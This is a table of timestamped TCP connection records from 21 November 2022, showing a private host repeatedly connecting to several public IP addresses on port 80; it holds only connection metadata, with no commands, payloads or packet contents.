Nov 21, 2022 19:23:01.893863916 CET	80	49875	195.24.68.23	192.168.11.20
Nov 21, 2022 19:23:01.894040108 CET	49875	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:23:01.894320965 CET	49875	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:23:01.894422054 CET	49875	80	192.168.11.20	195.24.68.23
Nov 21, 2022 19:23:01.941941977 CET	80	49875	195.24.68.23	192.168.11.20
Nov 21, 2022 19:23:07.373241901 CET	49876	80	192.168.11.20	192.232.217.125
Nov 21, 2022 19:23:07.533457994 CET	80	49876	192.232.217.125	192.168.11.20
Nov 21, 2022 19:23:07.533828020 CET	49876	80	192.168.11.20	192.232.217.125
Nov 21, 2022 19:23:07.533874989 CET	49876	80	192.168.11.20	192.232.217.125
Nov 21, 2022 19:23:07.694499016 CET	80	49876	192.232.217.125	192.168.11.20
Nov 21, 2022 19:23:07.704783916 CET	80	49876	192.232.217.125	192.168.11.20
Nov 21, 2022 19:23:07.704891920 CET	80	49876	192.232.217.125	192.168.11.20
Nov 21, 2022 19:23:07.705244064 CET	49876	80	192.168.11.20	192.232.217.125
Nov 21, 2022 19:23:08.545545101 CET	49876	80	192.168.11.20	192.232.217.125
Nov 21, 2022 19:23:09.561012030 CET	49877	80	192.168.11.20	192.232.217.125
Nov 21, 2022 19:23:09.720529079 CET	80	49877	192.232.217.125	192.168.11.20
Nov 21, 2022 19:23:09.720926046 CET	49877	80	192.168.11.20	192.232.217.125
Nov 21, 2022 19:23:09.721041918 CET	49877	80	192.168.11.20	192.232.217.125
Nov 21, 2022 19:23:09.880268097 CET	80	49877	192.232.217.125	192.168.11.20
Nov 21, 2022 19:23:09.892344952 CET	80	49877	192.232.217.125	192.168.11.20
Nov 21, 2022 19:23:09.892430067 CET	80	49877	192.232.217.125	192.168.11.20
Nov 21, 2022 19:23:09.892643929 CET	49877	80	192.168.11.20	192.232.217.125
Nov 21, 2022 19:23:10.732470036 CET	49877	80	192.168.11.20	192.232.217.125
Nov 21, 2022 19:23:11.747958899 CET	49878	80	192.168.11.20	192.232.217.125
Nov 21, 2022 19:23:11.906951904 CET	80	49878	192.232.217.125	192.168.11.20
Nov 21, 2022 19:23:11.907263041 CET	49878	80	192.168.11.20	192.232.217.125
Nov 21, 2022 19:23:11.907891035 CET	49878	80	192.168.11.20	192.232.217.125
Nov 21, 2022 19:23:11.907933950 CET	49878	80	192.168.11.20	192.232.217.125
Nov 21, 2022 19:23:11.907977104 CET	49878	80	192.168.11.20	192.232.217.125
Nov 21, 2022 19:23:12.067078114 CET	80	49878	192.232.217.125	192.168.11.20
Nov 21, 2022 19:23:12.067198038 CET	80	49878	192.232.217.125	192.168.11.20
Nov 21, 2022 19:23:12.067307949 CET	49878	80	192.168.11.20	192.232.217.125
Nov 21, 2022 19:23:12.067362070 CET	80	49878	192.232.217.125	192.168.11.20
Nov 21, 2022 19:23:12.067368984 CET	49878	80	192.168.11.20	192.232.217.125
Nov 21, 2022 19:23:12.067428112 CET	49878	80	192.168.11.20	192.232.217.125
Nov 21, 2022 19:23:12.067441940 CET	80	49878	192.232.217.125	192.168.11.20
Nov 21, 2022 19:23:12.067514896 CET	80	49878	192.232.217.125	192.168.11.20
Nov 21, 2022 19:23:12.067580938 CET	80	49878	192.232.217.125	192.168.11.20
Nov 21, 2022 19:23:12.067642927 CET	80	49878	192.232.217.125	192.168.11.20
Nov 21, 2022 19:23:12.067761898 CET	49878	80	192.168.11.20	192.232.217.125
Nov 21, 2022 19:23:12.067847013 CET	49878	80	192.168.11.20	192.232.217.125
Nov 21, 2022 19:23:12.067914009 CET	49878	80	192.168.11.20	192.232.217.125
Nov 21, 2022 19:23:12.067991018 CET	49878	80	192.168.11.20	192.232.217.125
Nov 21, 2022 19:23:12.068228006 CET	49878	80	192.168.11.20	192.232.217.125
Nov 21, 2022 19:23:12.227101088 CET	80	49878	192.232.217.125	192.168.11.20
Nov 21, 2022 19:23:12.227123976 CET	80	49878	192.232.217.125	192.168.11.20
Nov 21, 2022 19:23:12.227140903 CET	80	49878	192.232.217.125	192.168.11.20
Nov 21, 2022 19:23:12.227287054 CET	49878	80	192.168.11.20	192.232.217.125
Nov 21, 2022 19:23:12.227302074 CET	80	49878	192.232.217.125	192.168.11.20
Nov 21, 2022 19:23:12.227333069 CET	80	49878	192.232.217.125	192.168.11.20
Nov 21, 2022 19:23:12.227334023 CET	49878	80	192.168.11.20	192.232.217.125
Nov 21, 2022 19:23:12.227379084 CET	80	49878	192.232.217.125	192.168.11.20
Nov 21, 2022 19:23:12.227406025 CET	80	49878	192.232.217.125	192.168.11.20
Nov 21, 2022 19:23:12.227499008 CET	80	49878	192.232.217.125	192.168.11.20
Nov 21, 2022 19:23:12.227556944 CET	49878	80	192.168.11.20	192.232.217.125
Nov 21, 2022 19:23:12.227757931 CET	80	49878	192.232.217.125	192.168.11.20
Nov 21, 2022 19:23:12.227792025 CET	80	49878	192.232.217.125	192.168.11.20
Nov 21, 2022 19:23:12.228035927 CET	80	49878	192.232.217.125	192.168.11.20
Nov 21, 2022 19:23:12.228127003 CET	80	49878	192.232.217.125	192.168.11.20
Nov 21, 2022 19:23:12.228300095 CET	80	49878	192.232.217.125	192.168.11.20
Nov 21, 2022 19:23:12.228539944 CET	80	49878	192.232.217.125	192.168.11.20
Nov 21, 2022 19:23:12.270771027 CET	80	49878	192.232.217.125	192.168.11.20
Nov 21, 2022 19:23:12.386368990 CET	80	49878	192.232.217.125	192.168.11.20
Nov 21, 2022 19:23:12.386459112 CET	80	49878	192.232.217.125	192.168.11.20
Nov 21, 2022 19:23:12.386473894 CET	80	49878	192.232.217.125	192.168.11.20
Nov 21, 2022 19:23:12.386583090 CET	80	49878	192.232.217.125	192.168.11.20
Nov 21, 2022 19:23:12.386703014 CET	80	49878	192.232.217.125	192.168.11.20
Nov 21, 2022 19:23:12.390628099 CET	80	49878	192.232.217.125	192.168.11.20
Nov 21, 2022 19:23:12.390949965 CET	80	49878	192.232.217.125	192.168.11.20
Nov 21, 2022 19:23:12.391117096 CET	49878	80	192.168.11.20	192.232.217.125
Nov 21, 2022 19:23:12.919564962 CET	49878	80	192.168.11.20	192.232.217.125
Nov 21, 2022 19:23:13.935286999 CET	49879	80	192.168.11.20	192.232.217.125
Nov 21, 2022 19:23:14.096414089 CET	80	49879	192.232.217.125	192.168.11.20
Nov 21, 2022 19:23:14.096868992 CET	49879	80	192.168.11.20	192.232.217.125
Nov 21, 2022 19:23:14.096967936 CET	49879	80	192.168.11.20	192.232.217.125
Nov 21, 2022 19:23:14.257612944 CET	80	49879	192.232.217.125	192.168.11.20
Nov 21, 2022 19:23:14.270143032 CET	80	49879	192.232.217.125	192.168.11.20
Nov 21, 2022 19:23:14.270266056 CET	80	49879	192.232.217.125	192.168.11.20
Nov 21, 2022 19:23:14.270581961 CET	49879	80	192.168.11.20	192.232.217.125
Nov 21, 2022 19:23:14.270664930 CET	49879	80	192.168.11.20	192.232.217.125
Nov 21, 2022 19:23:14.430954933 CET	80	49879	192.232.217.125	192.168.11.20
Nov 21, 2022 19:23:32.103091002 CET	49881	80	192.168.11.20	45.33.23.183
Nov 21, 2022 19:23:32.237552881 CET	80	49881	45.33.23.183	192.168.11.20
Nov 21, 2022 19:23:32.237992048 CET	49881	80	192.168.11.20	45.33.23.183
Nov 21, 2022 19:23:32.237992048 CET	49881	80	192.168.11.20	45.33.23.183
Nov 21, 2022 19:23:32.373277903 CET	80	49881	45.33.23.183	192.168.11.20
Nov 21, 2022 19:23:32.373374939 CET	80	49881	45.33.23.183	192.168.11.20
Nov 21, 2022 19:23:32.373790979 CET	49881	80	192.168.11.20	45.33.23.183
Nov 21, 2022 19:23:32.373905897 CET	49881	80	192.168.11.20	45.33.23.183
Nov 21, 2022 19:23:32.508161068 CET	80	49881	45.33.23.183	192.168.11.20
Nov 21, 2022 19:23:37.383100033 CET	49882	80	192.168.11.20	45.130.41.24
Nov 21, 2022 19:23:37.441338062 CET	80	49882	45.130.41.24	192.168.11.20
Nov 21, 2022 19:23:37.441533089 CET	49882	80	192.168.11.20	45.130.41.24
Nov 21, 2022 19:23:37.441638947 CET	49882	80	192.168.11.20	45.130.41.24
Nov 21, 2022 19:23:37.521725893 CET	80	49882	45.130.41.24	192.168.11.20
Nov 21, 2022 19:23:37.536923885 CET	80	49882	45.130.41.24	192.168.11.20
Nov 21, 2022 19:23:37.536971092 CET	80	49882	45.130.41.24	192.168.11.20
Nov 21, 2022 19:23:37.537221909 CET	49882	80	192.168.11.20	45.130.41.24
Nov 21, 2022 19:23:38.445034027 CET	49882	80	192.168.11.20	45.130.41.24
Nov 21, 2022 19:23:39.460880995 CET	49883	80	192.168.11.20	45.130.41.24
Nov 21, 2022 19:23:39.519526958 CET	80	49883	45.130.41.24	192.168.11.20
Nov 21, 2022 19:23:39.519762993 CET	49883	80	192.168.11.20	45.130.41.24
Nov 21, 2022 19:23:39.519861937 CET	49883	80	192.168.11.20	45.130.41.24
Nov 21, 2022 19:23:39.579262018 CET	80	49883	45.130.41.24	192.168.11.20
Nov 21, 2022 19:23:39.612813950 CET	80	49883	45.130.41.24	192.168.11.20
Nov 21, 2022 19:23:39.612910032 CET	80	49883	45.130.41.24	192.168.11.20
Nov 21, 2022 19:23:39.613181114 CET	49883	80	192.168.11.20	45.130.41.24
Nov 21, 2022 19:23:40.522708893 CET	49883	80	192.168.11.20	45.130.41.24
Nov 21, 2022 19:23:41.538615942 CET	49884	80	192.168.11.20	45.130.41.24
Nov 21, 2022 19:23:41.596944094 CET	80	49884	45.130.41.24	192.168.11.20
Nov 21, 2022 19:23:41.597225904 CET	49884	80	192.168.11.20	45.130.41.24
Nov 21, 2022 19:23:41.597794056 CET	49884	80	192.168.11.20	45.130.41.24
Nov 21, 2022 19:23:41.597889900 CET	49884	80	192.168.11.20	45.130.41.24
Nov 21, 2022 19:23:41.655915976 CET	80	49884	45.130.41.24	192.168.11.20
Nov 21, 2022 19:23:41.656049013 CET	80	49884	45.130.41.24	192.168.11.20
Nov 21, 2022 19:23:41.656106949 CET	80	49884	45.130.41.24	192.168.11.20
Nov 21, 2022 19:23:41.656160116 CET	49884	80	192.168.11.20	45.130.41.24
Nov 21, 2022 19:23:41.656282902 CET	49884	80	192.168.11.20	45.130.41.24
Nov 21, 2022 19:23:41.656337023 CET	49884	80	192.168.11.20	45.130.41.24
Nov 21, 2022 19:23:41.656546116 CET	49884	80	192.168.11.20	45.130.41.24
Nov 21, 2022 19:23:41.656579018 CET	80	49884	45.130.41.24	192.168.11.20
Nov 21, 2022 19:23:41.656650066 CET	80	49884	45.130.41.24	192.168.11.20
Nov 21, 2022 19:23:41.656691074 CET	80	49884	45.130.41.24	192.168.11.20
Nov 21, 2022 19:23:41.656899929 CET	49884	80	192.168.11.20	45.130.41.24
Nov 21, 2022 19:23:41.657058001 CET	49884	80	192.168.11.20	45.130.41.24
Nov 21, 2022 19:23:41.657145023 CET	80	49884	45.130.41.24	192.168.11.20
Nov 21, 2022 19:23:41.657253981 CET	80	49884	45.130.41.24	192.168.11.20
Nov 21, 2022 19:23:41.657350063 CET	49884	80	192.168.11.20	45.130.41.24
Nov 21, 2022 19:23:41.657458067 CET	80	49884	45.130.41.24	192.168.11.20
Nov 21, 2022 19:23:41.657531023 CET	49884	80	192.168.11.20	45.130.41.24
Nov 21, 2022 19:23:41.657860994 CET	49884	80	192.168.11.20	45.130.41.24
Nov 21, 2022 19:23:41.658023119 CET	80	49884	45.130.41.24	192.168.11.20
Nov 21, 2022 19:23:41.658369064 CET	49884	80	192.168.11.20	45.130.41.24
Nov 21, 2022 19:23:41.714847088 CET	80	49884	45.130.41.24	192.168.11.20
Nov 21, 2022 19:23:41.715085983 CET	49884	80	192.168.11.20	45.130.41.24
Nov 21, 2022 19:23:41.715409040 CET	80	49884	45.130.41.24	192.168.11.20
Nov 21, 2022 19:23:41.715495110 CET	80	49884	45.130.41.24	192.168.11.20
Nov 21, 2022 19:23:41.715537071 CET	80	49884	45.130.41.24	192.168.11.20
Nov 21, 2022 19:23:41.715574980 CET	80	49884	45.130.41.24	192.168.11.20
Nov 21, 2022 19:23:41.715667009 CET	49884	80	192.168.11.20	45.130.41.24
Nov 21, 2022 19:23:41.715833902 CET	49884	80	192.168.11.20	45.130.41.24
Nov 21, 2022 19:23:41.715975046 CET	80	49884	45.130.41.24	192.168.11.20
Nov 21, 2022 19:23:41.716038942 CET	80	49884	45.130.41.24	192.168.11.20
Nov 21, 2022 19:23:41.716267109 CET	49884	80	192.168.11.20	45.130.41.24
Nov 21, 2022 19:23:41.716716051 CET	80	49884	45.130.41.24	192.168.11.20
Nov 21, 2022 19:23:41.716761112 CET	80	49884	45.130.41.24	192.168.11.20
Nov 21, 2022 19:23:41.717226028 CET	80	49884	45.130.41.24	192.168.11.20
Nov 21, 2022 19:23:41.717282057 CET	80	49884	45.130.41.24	192.168.11.20
Nov 21, 2022 19:23:41.774015903 CET	80	49884	45.130.41.24	192.168.11.20
Nov 21, 2022 19:23:41.774100065 CET	80	49884	45.130.41.24	192.168.11.20
Nov 21, 2022 19:23:41.774665117 CET	80	49884	45.130.41.24	192.168.11.20
Nov 21, 2022 19:23:41.774755001 CET	80	49884	45.130.41.24	192.168.11.20
Nov 21, 2022 19:23:42.091573954 CET	80	49884	45.130.41.24	192.168.11.20
Nov 21, 2022 19:23:42.091650963 CET	80	49884	45.130.41.24	192.168.11.20
Nov 21, 2022 19:23:42.091852903 CET	49884	80	192.168.11.20	45.130.41.24
Nov 21, 2022 19:23:42.600464106 CET	49884	80	192.168.11.20	45.130.41.24
Nov 21, 2022 19:23:43.616044044 CET	49885	80	192.168.11.20	45.130.41.24
Nov 21, 2022 19:23:43.669651031 CET	80	49885	45.130.41.24	192.168.11.20
Nov 21, 2022 19:23:43.669970989 CET	49885	80	192.168.11.20	45.130.41.24
Nov 21, 2022 19:23:43.670047045 CET	49885	80	192.168.11.20	45.130.41.24
Nov 21, 2022 19:23:43.723634005 CET	80	49885	45.130.41.24	192.168.11.20
Nov 21, 2022 19:23:43.758317947 CET	80	49885	45.130.41.24	192.168.11.20
Nov 21, 2022 19:23:43.758371115 CET	80	49885	45.130.41.24	192.168.11.20
Nov 21, 2022 19:23:43.758757114 CET	49885	80	192.168.11.20	45.130.41.24
Nov 21, 2022 19:23:43.758881092 CET	49885	80	192.168.11.20	45.130.41.24
Nov 21, 2022 19:23:43.814694881 CET	80	49885	45.130.41.24	192.168.11.20
Nov 21, 2022 19:23:48.771742105 CET	49886	80	192.168.11.20	154.204.24.45
Nov 21, 2022 19:23:49.005502939 CET	80	49886	154.204.24.45	192.168.11.20
Nov 21, 2022 19:23:49.005887032 CET	49886	80	192.168.11.20	154.204.24.45
Nov 21, 2022 19:23:49.005950928 CET	49886	80	192.168.11.20	154.204.24.45
Nov 21, 2022 19:23:49.238217115 CET	80	49886	154.204.24.45	192.168.11.20
Nov 21, 2022 19:23:49.291357040 CET	80	49886	154.204.24.45	192.168.11.20
Nov 21, 2022 19:23:49.291407108 CET	80	49886	154.204.24.45	192.168.11.20
Nov 21, 2022 19:23:49.291604042 CET	49886	80	192.168.11.20	154.204.24.45
Nov 21, 2022 19:23:49.518327951 CET	80	49886	154.204.24.45	192.168.11.20
Nov 21, 2022 19:23:49.518537998 CET	49886	80	192.168.11.20	154.204.24.45
Nov 21, 2022 19:23:49.582308054 CET	80	49886	154.204.24.45	192.168.11.20
Nov 21, 2022 19:23:50.020797014 CET	49886	80	192.168.11.20	154.204.24.45
Nov 21, 2022 19:23:51.036411047 CET	49887	80	192.168.11.20	154.204.24.45
Nov 21, 2022 19:23:51.277261972 CET	80	49887	154.204.24.45	192.168.11.20
Nov 21, 2022 19:23:51.277651072 CET	49887	80	192.168.11.20	154.204.24.45
Nov 21, 2022 19:23:51.277769089 CET	49887	80	192.168.11.20	154.204.24.45
Nov 21, 2022 19:23:51.510768890 CET	80	49887	154.204.24.45	192.168.11.20
Nov 21, 2022 19:23:51.559788942 CET	80	49887	154.204.24.45	192.168.11.20
Nov 21, 2022 19:23:51.559849977 CET	80	49887	154.204.24.45	192.168.11.20
Nov 21, 2022 19:23:51.560064077 CET	49887	80	192.168.11.20	154.204.24.45
Nov 21, 2022 19:23:51.789969921 CET	80	49887	154.204.24.45	192.168.11.20
Nov 21, 2022 19:23:51.790337086 CET	49887	80	192.168.11.20	154.204.24.45
Nov 21, 2022 19:23:51.855113983 CET	80	49887	154.204.24.45	192.168.11.20
Nov 21, 2022 19:23:52.285940886 CET	49887	80	192.168.11.20	154.204.24.45
Nov 21, 2022 19:23:53.301368952 CET	49888	80	192.168.11.20	154.204.24.45
Nov 21, 2022 19:23:53.533787966 CET	80	49888	154.204.24.45	192.168.11.20
Nov 21, 2022 19:23:53.534056902 CET	49888	80	192.168.11.20	154.204.24.45
Nov 21, 2022 19:23:53.534775019 CET	49888	80	192.168.11.20	154.204.24.45
Nov 21, 2022 19:23:53.767478943 CET	80	49888	154.204.24.45	192.168.11.20
Nov 21, 2022 19:23:53.767548084 CET	80	49888	154.204.24.45	192.168.11.20
Nov 21, 2022 19:23:53.767592907 CET	80	49888	154.204.24.45	192.168.11.20
Nov 21, 2022 19:23:53.767637014 CET	80	49888	154.204.24.45	192.168.11.20
Nov 21, 2022 19:23:53.767678976 CET	80	49888	154.204.24.45	192.168.11.20
Nov 21, 2022 19:23:53.767723083 CET	80	49888	154.204.24.45	192.168.11.20
Nov 21, 2022 19:23:53.767724037 CET	49888	80	192.168.11.20	154.204.24.45
Nov 21, 2022 19:23:53.767766953 CET	80	49888	154.204.24.45	192.168.11.20
Nov 21, 2022 19:23:53.767816067 CET	80	49888	154.204.24.45	192.168.11.20
Nov 21, 2022 19:23:53.767860889 CET	80	49888	154.204.24.45	192.168.11.20
Nov 21, 2022 19:23:53.767860889 CET	49888	80	192.168.11.20	154.204.24.45
Nov 21, 2022 19:23:53.767906904 CET	80	49888	154.204.24.45	192.168.11.20
Nov 21, 2022 19:23:53.768074989 CET	49888	80	192.168.11.20	154.204.24.45
Nov 21, 2022 19:23:53.768189907 CET	49888	80	192.168.11.20	154.204.24.45
Nov 21, 2022 19:23:54.000025034 CET	80	49888	154.204.24.45	192.168.11.20
Nov 21, 2022 19:23:54.000083923 CET	80	49888	154.204.24.45	192.168.11.20
Nov 21, 2022 19:23:54.000123024 CET	80	49888	154.204.24.45	192.168.11.20
Nov 21, 2022 19:23:54.000159979 CET	80	49888	154.204.24.45	192.168.11.20
Nov 21, 2022 19:23:54.000196934 CET	80	49888	154.204.24.45	192.168.11.20
Nov 21, 2022 19:23:54.000235081 CET	80	49888	154.204.24.45	192.168.11.20
Nov 21, 2022 19:23:54.000271082 CET	80	49888	154.204.24.45	192.168.11.20
Nov 21, 2022 19:23:54.000340939 CET	80	49888	154.204.24.45	192.168.11.20
Nov 21, 2022 19:23:54.000361919 CET	49888	80	192.168.11.20	154.204.24.45
Nov 21, 2022 19:23:54.000426054 CET	80	49888	154.204.24.45	192.168.11.20
Nov 21, 2022 19:23:54.000472069 CET	49888	80	192.168.11.20	154.204.24.45
Nov 21, 2022 19:23:54.000736952 CET	80	49888	154.204.24.45	192.168.11.20
Nov 21, 2022 19:23:54.000778913 CET	80	49888	154.204.24.45	192.168.11.20
Nov 21, 2022 19:23:54.000816107 CET	80	49888	154.204.24.45	192.168.11.20
Nov 21, 2022 19:23:54.000853062 CET	80	49888	154.204.24.45	192.168.11.20
Nov 21, 2022 19:23:54.000890017 CET	80	49888	154.204.24.45	192.168.11.20
Nov 21, 2022 19:23:54.000926971 CET	80	49888	154.204.24.45	192.168.11.20
Nov 21, 2022 19:23:54.000963926 CET	80	49888	154.204.24.45	192.168.11.20
Nov 21, 2022 19:23:54.001000881 CET	80	49888	154.204.24.45	192.168.11.20
Nov 21, 2022 19:23:54.001038074 CET	80	49888	154.204.24.45	192.168.11.20
Nov 21, 2022 19:23:54.001075029 CET	80	49888	154.204.24.45	192.168.11.20
Nov 21, 2022 19:23:54.001113892 CET	80	49888	154.204.24.45	192.168.11.20
Nov 21, 2022 19:23:54.236948967 CET	80	49888	154.204.24.45	192.168.11.20
Nov 21, 2022 19:23:54.237437963 CET	80	49888	154.204.24.45	192.168.11.20
Nov 21, 2022 19:23:54.237502098 CET	80	49888	154.204.24.45	192.168.11.20
Nov 21, 2022 19:23:54.237549067 CET	80	49888	154.204.24.45	192.168.11.20
Nov 21, 2022 19:23:54.237592936 CET	80	49888	154.204.24.45	192.168.11.20
Nov 21, 2022 19:23:54.237634897 CET	80	49888	154.204.24.45	192.168.11.20
Nov 21, 2022 19:23:54.237678051 CET	80	49888	154.204.24.45	192.168.11.20
Nov 21, 2022 19:23:54.237720013 CET	80	49888	154.204.24.45	192.168.11.20
Nov 21, 2022 19:23:54.237761974 CET	80	49888	154.204.24.45	192.168.11.20
Nov 21, 2022 19:23:54.237804890 CET	80	49888	154.204.24.45	192.168.11.20
Nov 21, 2022 19:23:54.237848997 CET	80	49888	154.204.24.45	192.168.11.20
Nov 21, 2022 19:23:54.314026117 CET	80	49888	154.204.24.45	192.168.11.20
Nov 21, 2022 19:23:54.314106941 CET	80	49888	154.204.24.45	192.168.11.20
Nov 21, 2022 19:23:54.314523935 CET	49888	80	192.168.11.20	154.204.24.45
Nov 21, 2022 19:23:54.535301924 CET	49888	80	192.168.11.20	154.204.24.45
Nov 21, 2022 19:23:54.543446064 CET	80	49888	154.204.24.45	192.168.11.20
Nov 21, 2022 19:23:54.543703079 CET	49888	80	192.168.11.20	154.204.24.45
Nov 21, 2022 19:23:54.575556040 CET	80	49888	154.204.24.45	192.168.11.20
Nov 21, 2022 19:23:54.575917006 CET	49888	80	192.168.11.20	154.204.24.45
Nov 21, 2022 19:23:55.550859928 CET	49889	80	192.168.11.20	154.204.24.45
Nov 21, 2022 19:23:55.780831099 CET	80	49889	154.204.24.45	192.168.11.20
Nov 21, 2022 19:23:55.781085014 CET	49889	80	192.168.11.20	154.204.24.45
Nov 21, 2022 19:23:55.781178951 CET	49889	80	192.168.11.20	154.204.24.45
Nov 21, 2022 19:23:56.010849953 CET	80	49889	154.204.24.45	192.168.11.20
Nov 21, 2022 19:23:56.014388084 CET	80	49889	154.204.24.45	192.168.11.20
Nov 21, 2022 19:23:56.014477015 CET	80	49889	154.204.24.45	192.168.11.20
Nov 21, 2022 19:23:56.014892101 CET	49889	80	192.168.11.20	154.204.24.45
Nov 21, 2022 19:23:56.014971018 CET	49889	80	192.168.11.20	154.204.24.45
Nov 21, 2022 19:23:56.244894981 CET	80	49889	154.204.24.45	192.168.11.20
Nov 21, 2022 19:24:01.018570900 CET	49890	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:24:01.133275986 CET	80	49890	192.185.32.157	192.168.11.20
Nov 21, 2022 19:24:01.133670092 CET	49890	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:24:01.133670092 CET	49890	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:24:01.249587059 CET	80	49890	192.185.32.157	192.168.11.20
Nov 21, 2022 19:24:01.440999985 CET	80	49890	192.185.32.157	192.168.11.20
Nov 21, 2022 19:24:01.441091061 CET	80	49890	192.185.32.157	192.168.11.20
Nov 21, 2022 19:24:01.441180944 CET	80	49890	192.185.32.157	192.168.11.20
Nov 21, 2022 19:24:01.441247940 CET	80	49890	192.185.32.157	192.168.11.20
Nov 21, 2022 19:24:01.441293955 CET	49890	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:24:01.441406012 CET	49890	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:24:01.441433907 CET	80	49890	192.185.32.157	192.168.11.20
Nov 21, 2022 19:24:01.441529036 CET	80	49890	192.185.32.157	192.168.11.20
Nov 21, 2022 19:24:01.441591978 CET	80	49890	192.185.32.157	192.168.11.20
Nov 21, 2022 19:24:01.441657066 CET	80	49890	192.185.32.157	192.168.11.20
Nov 21, 2022 19:24:01.441693068 CET	49890	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:24:01.441745996 CET	80	49890	192.185.32.157	192.168.11.20
Nov 21, 2022 19:24:01.441827059 CET	80	49890	192.185.32.157	192.168.11.20
Nov 21, 2022 19:24:01.441827059 CET	49890	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:24:01.441981077 CET	49890	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:24:01.556124926 CET	80	49890	192.185.32.157	192.168.11.20
Nov 21, 2022 19:24:01.611840963 CET	49890	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:24:02.143004894 CET	49890	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:24:03.158590078 CET	49891	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:24:03.280669928 CET	80	49891	192.185.32.157	192.168.11.20
Nov 21, 2022 19:24:03.280946016 CET	49891	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:24:03.281064034 CET	49891	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:24:03.403506994 CET	80	49891	192.185.32.157	192.168.11.20
Nov 21, 2022 19:24:03.600155115 CET	80	49891	192.185.32.157	192.168.11.20
Nov 21, 2022 19:24:03.600241899 CET	80	49891	192.185.32.157	192.168.11.20
Nov 21, 2022 19:24:03.600327015 CET	80	49891	192.185.32.157	192.168.11.20
Nov 21, 2022 19:24:03.600434065 CET	80	49891	192.185.32.157	192.168.11.20
Nov 21, 2022 19:24:03.600435019 CET	49891	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:24:03.600559950 CET	80	49891	192.185.32.157	192.168.11.20
Nov 21, 2022 19:24:03.600680113 CET	80	49891	192.185.32.157	192.168.11.20
Nov 21, 2022 19:24:03.600692987 CET	49891	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:24:03.600797892 CET	80	49891	192.185.32.157	192.168.11.20
Nov 21, 2022 19:24:03.600891113 CET	80	49891	192.185.32.157	192.168.11.20
Nov 21, 2022 19:24:03.600933075 CET	49891	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:24:03.600958109 CET	80	49891	192.185.32.157	192.168.11.20
Nov 21, 2022 19:24:03.601020098 CET	80	49891	192.185.32.157	192.168.11.20
Nov 21, 2022 19:24:03.601106882 CET	49891	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:24:03.601270914 CET	49891	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:24:03.717432022 CET	80	49891	192.185.32.157	192.168.11.20
Nov 21, 2022 19:24:03.767627954 CET	49891	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:24:04.283217907 CET	49891	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:24:05.298703909 CET	49892	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:24:05.413791895 CET	80	49892	192.185.32.157	192.168.11.20
Nov 21, 2022 19:24:05.413940907 CET	49892	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:24:05.414607048 CET	49892	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:24:05.414644957 CET	49892	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:24:05.414724112 CET	49892	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:24:05.531256914 CET	80	49892	192.185.32.157	192.168.11.20
Nov 21, 2022 19:24:05.531291962 CET	80	49892	192.185.32.157	192.168.11.20
Nov 21, 2022 19:24:05.531301975 CET	80	49892	192.185.32.157	192.168.11.20
Nov 21, 2022 19:24:05.531310081 CET	80	49892	192.185.32.157	192.168.11.20
Nov 21, 2022 19:24:05.531436920 CET	49892	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:24:05.531445026 CET	80	49892	192.185.32.157	192.168.11.20
Nov 21, 2022 19:24:05.531513929 CET	80	49892	192.185.32.157	192.168.11.20
Nov 21, 2022 19:24:05.531522989 CET	80	49892	192.185.32.157	192.168.11.20
Nov 21, 2022 19:24:05.531532049 CET	80	49892	192.185.32.157	192.168.11.20
Nov 21, 2022 19:24:05.531565905 CET	80	49892	192.185.32.157	192.168.11.20
Nov 21, 2022 19:24:05.531579018 CET	80	49892	192.185.32.157	192.168.11.20
Nov 21, 2022 19:24:05.531593084 CET	49892	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:24:05.531759977 CET	49892	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:24:05.531944036 CET	49892	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:24:05.652163029 CET	80	49892	192.185.32.157	192.168.11.20
Nov 21, 2022 19:24:05.652213097 CET	80	49892	192.185.32.157	192.168.11.20
Nov 21, 2022 19:24:05.652282953 CET	80	49892	192.185.32.157	192.168.11.20
Nov 21, 2022 19:24:05.652369022 CET	80	49892	192.185.32.157	192.168.11.20
Nov 21, 2022 19:24:05.652412891 CET	80	49892	192.185.32.157	192.168.11.20
Nov 21, 2022 19:24:05.652447939 CET	80	49892	192.185.32.157	192.168.11.20
Nov 21, 2022 19:24:05.652458906 CET	49892	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:24:05.652627945 CET	49892	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:24:05.652631998 CET	80	49892	192.185.32.157	192.168.11.20
Nov 21, 2022 19:24:05.652790070 CET	49892	80	192.168.11.20	192.185.32.157
Nov 21, 2022 19:24:05.769978046 CET	80	49892	192.185.32.157	192.168.11.20
Nov 21, 2022 19:24:05.770008087 CET	80	49892	192.185.32.157	192.168.11.20
Nov 21, 2022 19:24:05.770030022 CET	80	49892	192.185.32.157	192.168.11.20
Nov 21, 2022 19:24:05.770085096 CET	80	49892	192.185.32.157	192.168.11.20
Nov 21, 2022 19:24:05.770539045 CET	80	49892	192.185.32.157	192.168.11.20
